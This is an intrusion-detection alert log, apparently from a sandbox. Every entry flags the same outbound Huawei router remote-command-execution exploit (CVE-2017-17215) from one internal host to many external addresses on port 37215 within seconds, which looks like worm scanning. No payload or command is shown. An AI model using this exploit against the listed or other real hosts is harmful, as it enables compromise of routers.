2024-12-30T11:58:49.700753+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	34522	197.144.146.160	37215	TCP
2024-12-30T11:58:49.700813+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	33204	156.138.205.78	37215	TCP
2024-12-30T11:58:49.700886+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	44654	41.101.209.142	37215	TCP
2024-12-30T11:58:49.700958+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	48920	197.79.212.81	37215	TCP
2024-12-30T11:58:49.701039+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	56874	41.81.22.42	37215	TCP
2024-12-30T11:58:49.701114+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	34554	41.161.6.151	37215	TCP
2024-12-30T11:58:49.701230+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	44776	41.73.33.170	37215	TCP
2024-12-30T11:58:49.701243+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	33124	156.41.20.6	37215	TCP
2024-12-30T11:58:49.701266+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	40728	41.145.34.226	37215	TCP
2024-12-30T11:58:49.701422+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	42234	41.109.150.188	37215	TCP
2024-12-30T11:58:49.701431+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	54688	41.62.183.103	37215	TCP
2024-12-30T11:58:49.701653+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	46952	197.115.238.73	37215	TCP
2024-12-30T11:58:49.701820+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	57614	41.98.168.79	37215	TCP
2024-12-30T11:58:49.701865+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	52170	197.58.27.16	37215	TCP
2024-12-30T11:58:49.702065+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	46948	197.91.62.105	37215	TCP
2024-12-30T11:58:49.702640+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	45306	41.145.214.127	37215	TCP
2024-12-30T11:58:49.702695+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	56588	41.107.192.196	37215	TCP
2024-12-30T11:58:49.703352+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	41376	41.163.218.184	37215	TCP
2024-12-30T11:58:49.703690+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	60366	41.207.125.218	37215	TCP
2024-12-30T11:58:49.703834+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	53262	156.33.179.163	37215	TCP
2024-12-30T11:58:49.704013+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	32872	197.11.103.244	37215	TCP
2024-12-30T11:58:49.704209+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	52682	197.55.152.77	37215	TCP
2024-12-30T11:58:49.705080+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	48158	197.223.23.44	37215	TCP
2024-12-30T11:58:49.986236+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	34714	197.9.213.163	37215	TCP
2024-12-30T11:58:50.697811+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	44948	156.143.91.125	37215	TCP
2024-12-30T11:58:50.698099+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	51520	156.189.8.34	37215	TCP
2024-12-30T11:58:50.698120+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	36464	156.113.100.28	37215	TCP
2024-12-30T11:58:50.698152+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	56290	197.214.60.248	37215	TCP
2024-12-30T11:58:50.698157+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	56228	156.218.201.123	37215	TCP
2024-12-30T11:58:50.699693+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	38890	156.28.240.204	37215	TCP
2024-12-30T11:58:50.699952+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	41044	197.122.30.95	37215	TCP
2024-12-30T11:58:50.715575+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	54138	156.53.64.27	37215	TCP
2024-12-30T11:58:50.715671+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	44066	156.148.18.165	37215	TCP
2024-12-30T11:58:50.715703+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	53336	197.80.35.128	37215	TCP
2024-12-30T11:58:50.717413+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	33742	197.233.88.97	37215	TCP
2024-12-30T11:58:50.717497+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	57658	197.12.166.179	37215	TCP
2024-12-30T11:58:50.719273+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	43096	41.22.213.82	37215	TCP
2024-12-30T11:58:50.731027+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	46724	197.203.202.245	37215	TCP
2024-12-30T11:58:50.733160+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	60608	41.50.254.104	37215	TCP
2024-12-30T11:58:51.172723+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	46584	41.197.156.105	37215	TCP
2024-12-30T11:58:51.172726+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	36134	197.232.54.224	37215	TCP
2024-12-30T11:58:51.730320+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	33688	156.174.61.92	37215	TCP
2024-12-30T11:58:51.730371+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	35106	156.19.83.163	37215	TCP
2024-12-30T11:58:51.730988+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	43942	41.210.140.132	37215	TCP
2024-12-30T11:58:51.745032+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	54808	156.150.133.246	37215	TCP
2024-12-30T11:58:51.745105+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	43326	197.208.85.229	37215	TCP
2024-12-30T11:58:51.745204+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	47280	41.101.179.43	37215	TCP
2024-12-30T11:58:51.745279+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	44830	197.71.172.93	37215	TCP
2024-12-30T11:58:51.745646+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	55314	197.73.104.223	37215	TCP
2024-12-30T11:58:51.745663+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	58858	41.27.247.47	37215	TCP
2024-12-30T11:58:51.745736+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	45792	197.33.148.69	37215	TCP
2024-12-30T11:58:51.746672+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	32918	156.180.213.221	37215	TCP
2024-12-30T11:58:51.746756+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	35842	41.73.102.3	37215	TCP
2024-12-30T11:58:51.750578+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	56800	156.88.74.49	37215	TCP
2024-12-30T11:58:51.760471+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	52194	41.34.87.255	37215	TCP
2024-12-30T11:58:51.760570+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	35398	197.52.113.101	37215	TCP
2024-12-30T11:58:51.760741+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	54436	197.226.202.212	37215	TCP
2024-12-30T11:58:51.760762+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	57836	197.172.171.168	37215	TCP
2024-12-30T11:58:51.762343+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	57496	41.132.225.198	37215	TCP
2024-12-30T11:58:51.762438+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	57680	156.144.180.162	37215	TCP
2024-12-30T11:58:51.764484+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	57850	41.217.42.133	37215	TCP
2024-12-30T11:58:51.764502+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	54522	41.105.227.129	37215	TCP
2024-12-30T11:58:51.764640+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	40830	41.206.110.65	37215	TCP
2024-12-30T11:58:51.807868+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	38824	41.224.34.57	37215	TCP
2024-12-30T11:58:52.745363+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	38218	197.134.139.67	37215	TCP
2024-12-30T11:58:52.745363+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	50372	156.230.7.251	37215	TCP
2024-12-30T11:58:52.745397+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	60674	197.227.199.239	37215	TCP
2024-12-30T11:58:52.745751+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	45982	197.156.232.95	37215	TCP
2024-12-30T11:58:52.745815+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	59534	156.124.227.196	37215	TCP
2024-12-30T11:58:52.762539+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	56452	41.38.244.149	37215	TCP
2024-12-30T11:58:52.764490+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	34764	197.217.109.16	37215	TCP
2024-12-30T11:58:52.764705+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	55966	156.76.10.205	37215	TCP
2024-12-30T11:58:52.776164+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	34544	156.18.248.18	37215	TCP
2024-12-30T11:58:52.776236+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	38416	197.80.190.119	37215	TCP
2024-12-30T11:58:52.776282+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	38194	156.63.10.132	37215	TCP
2024-12-30T11:58:52.776370+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	55510	197.225.245.15	37215	TCP
2024-12-30T11:58:52.776955+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	39332	156.196.61.37	37215	TCP
2024-12-30T11:58:52.778133+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	52480	41.103.209.172	37215	TCP
2024-12-30T11:58:52.778176+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	50616	156.226.3.137	37215	TCP
2024-12-30T11:58:52.780167+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	58160	41.13.214.81	37215	TCP
2024-12-30T11:58:52.807415+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	60418	156.154.20.122	37215	TCP
2024-12-30T11:58:52.809192+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	52340	197.195.136.185	37215	TCP
2024-12-30T11:58:53.776517+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	51134	41.32.233.13	37215	TCP
2024-12-30T11:58:53.776520+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	48608	156.149.232.32	37215	TCP
2024-12-30T11:58:53.776521+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	47962	156.121.189.223	37215	TCP
2024-12-30T11:58:53.776784+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	43130	41.60.70.193	37215	TCP
2024-12-30T11:58:53.777871+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	37854	197.96.255.146	37215	TCP
2024-12-30T11:58:53.781731+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	38706	41.172.51.220	37215	TCP
2024-12-30T11:58:53.791845+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	42520	41.207.95.130	37215	TCP
2024-12-30T11:58:53.793450+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	50780	197.50.164.50	37215	TCP
2024-12-30T11:58:53.793871+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	45068	197.75.153.40	37215	TCP
2024-12-30T11:58:53.795583+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	43344	41.42.78.248	37215	TCP
2024-12-30T11:58:53.809224+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	45936	156.167.253.76	37215	TCP
2024-12-30T11:58:53.828768+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	35184	41.104.64.24	37215	TCP
2024-12-30T11:58:54.792066+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	48888	197.209.185.66	37215	TCP
2024-12-30T11:58:54.792082+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	33074	197.77.32.122	37215	TCP
2024-12-30T11:58:54.792082+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	37794	156.197.74.172	37215	TCP
2024-12-30T11:58:54.792082+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	56592	197.240.13.36	37215	TCP
2024-12-30T11:58:54.792083+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	57792	197.161.90.214	37215	TCP
2024-12-30T11:58:54.792109+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	58398	41.193.167.79	37215	TCP
2024-12-30T11:58:54.792181+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	47662	197.32.121.20	37215	TCP
2024-12-30T11:58:54.792310+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	57424	197.98.175.252	37215	TCP
2024-12-30T11:58:54.792411+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	41282	197.154.166.157	37215	TCP
2024-12-30T11:58:54.792540+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	52522	156.26.98.244	37215	TCP
2024-12-30T11:58:54.792683+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	36878	197.152.142.160	37215	TCP
2024-12-30T11:58:54.793920+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	44954	156.170.84.68	37215	TCP
2024-12-30T11:58:54.795758+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	33588	41.23.83.218	37215	TCP
2024-12-30T11:58:54.807079+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	53582	156.70.208.187	37215	TCP
2024-12-30T11:58:54.807634+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	59384	156.24.35.212	37215	TCP
2024-12-30T11:58:54.807646+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	53196	156.185.180.126	37215	TCP
2024-12-30T11:58:54.807851+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	46606	156.173.232.9	37215	TCP
2024-12-30T11:58:54.808169+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	46346	41.209.146.93	37215	TCP
2024-12-30T11:58:54.808251+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	35812	197.0.254.96	37215	TCP
2024-12-30T11:58:54.808677+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	39972	156.31.243.43	37215	TCP
2024-12-30T11:58:54.809168+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	41426	156.92.50.249	37215	TCP
2024-12-30T11:58:54.809416+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	54274	156.182.79.186	37215	TCP
2024-12-30T11:58:54.809480+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	36158	41.155.188.58	37215	TCP
2024-12-30T11:58:54.809523+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	57540	197.150.254.251	37215	TCP
2024-12-30T11:58:54.809835+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	54408	197.253.209.63	37215	TCP
2024-12-30T11:58:54.809840+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	41290	197.231.146.139	37215	TCP
2024-12-30T11:58:54.809849+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	57878	197.209.10.168	37215	TCP
2024-12-30T11:58:54.811557+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	40602	156.129.150.227	37215	TCP
2024-12-30T11:58:54.811733+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	47006	41.19.126.241	37215	TCP
2024-12-30T11:58:54.811749+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	34822	41.119.182.192	37215	TCP
2024-12-30T11:58:54.811771+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	34080	41.128.43.216	37215	TCP
2024-12-30T11:58:54.811907+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	42538	156.0.77.218	37215	TCP
2024-12-30T11:58:54.813093+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	49036	197.84.195.184	37215	TCP
2024-12-30T11:58:54.828754+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	36026	156.64.215.53	37215	TCP
2024-12-30T11:58:54.839170+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	57214	156.202.216.47	37215	TCP
2024-12-30T11:58:55.807928+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	44642	41.61.189.180	37215	TCP
2024-12-30T11:58:55.823193+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	36794	156.225.50.93	37215	TCP
2024-12-30T11:58:55.823281+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	38552	156.82.155.252	37215	TCP
2024-12-30T11:58:55.823406+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	59090	156.75.23.59	37215	TCP
2024-12-30T11:58:55.823575+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	49322	41.137.133.178	37215	TCP
2024-12-30T11:58:55.823872+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	53364	197.115.136.108	37215	TCP
2024-12-30T11:58:55.825019+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	39632	197.140.223.117	37215	TCP
2024-12-30T11:58:55.839027+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	56470	41.99.197.241	37215	TCP
2024-12-30T11:58:55.839188+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	55640	197.252.126.17	37215	TCP
2024-12-30T11:58:55.839358+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	42992	197.205.177.4	37215	TCP
2024-12-30T11:58:55.839416+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	40798	156.222.208.126	37215	TCP
2024-12-30T11:58:55.839507+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	57330	41.213.194.134	37215	TCP
2024-12-30T11:58:55.839571+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	40798	197.148.122.124	37215	TCP
2024-12-30T11:58:55.839714+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	58090	197.241.78.175	37215	TCP
2024-12-30T11:58:55.839812+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	42416	197.131.165.109	37215	TCP
2024-12-30T11:58:55.839895+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	60812	156.125.212.161	37215	TCP
2024-12-30T11:58:55.839983+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	33018	41.31.114.195	37215	TCP
2024-12-30T11:58:55.840042+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	33196	41.93.85.177	37215	TCP
2024-12-30T11:58:55.840383+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	58636	156.70.88.202	37215	TCP
2024-12-30T11:58:55.840705+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	35554	197.102.168.182	37215	TCP
2024-12-30T11:58:55.840773+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	58786	41.12.203.90	37215	TCP
2024-12-30T11:58:55.840834+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	33790	156.6.26.34	37215	TCP
2024-12-30T11:58:55.840935+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	48988	41.22.54.7	37215	TCP
2024-12-30T11:58:55.841014+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	59948	41.186.45.48	37215	TCP
2024-12-30T11:58:55.841066+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	52458	197.126.71.98	37215	TCP
2024-12-30T11:58:55.841237+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	39436	41.173.101.87	37215	TCP
2024-12-30T11:58:55.841313+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	37984	156.34.188.109	37215	TCP
2024-12-30T11:58:55.841567+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	56960	41.27.80.32	37215	TCP
2024-12-30T11:58:55.841810+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	47910	156.52.242.108	37215	TCP
2024-12-30T11:58:55.842200+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	38254	197.174.132.74	37215	TCP
2024-12-30T11:58:55.842952+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	52886	41.239.137.235	37215	TCP
2024-12-30T11:58:55.843022+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	52894	197.112.254.50	37215	TCP
2024-12-30T11:58:55.843134+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	48242	197.179.205.130	37215	TCP
2024-12-30T11:58:55.843734+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	59800	41.199.213.148	37215	TCP
